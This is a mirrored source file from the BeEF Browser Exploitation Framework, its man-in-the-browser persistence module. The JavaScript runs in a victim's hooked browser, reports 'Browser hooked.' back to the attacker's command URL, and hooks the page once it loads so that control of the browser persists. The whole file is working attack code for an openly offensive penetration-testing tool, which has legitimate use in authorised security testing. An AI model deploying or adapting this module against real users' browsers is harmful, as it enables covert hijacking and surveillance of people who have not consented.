Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/persistence/man_in_the_browser/command.js
1154 views
1
/*
2
* Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
* Browser Exploitation Framework (BeEF) - https://beefproject.com
4
* See the file 'doc/COPYING' for copying permission
5
*/
6
7
beef.execute(function() {
8
try{
9
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Browser hooked.");
10
beef.mitb.init("<%= @command_url %>", <%= @command_id %>);
11
var MITBload = setInterval(function(){
12
if(beef.pageIsLoaded){
13
clearInterval(MITBload);
14
beef.mitb.hook();
15
}
16
}, 100);
17
}catch(e){
18
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Failed to hook browser: " + e.message);
19
}
20
});
21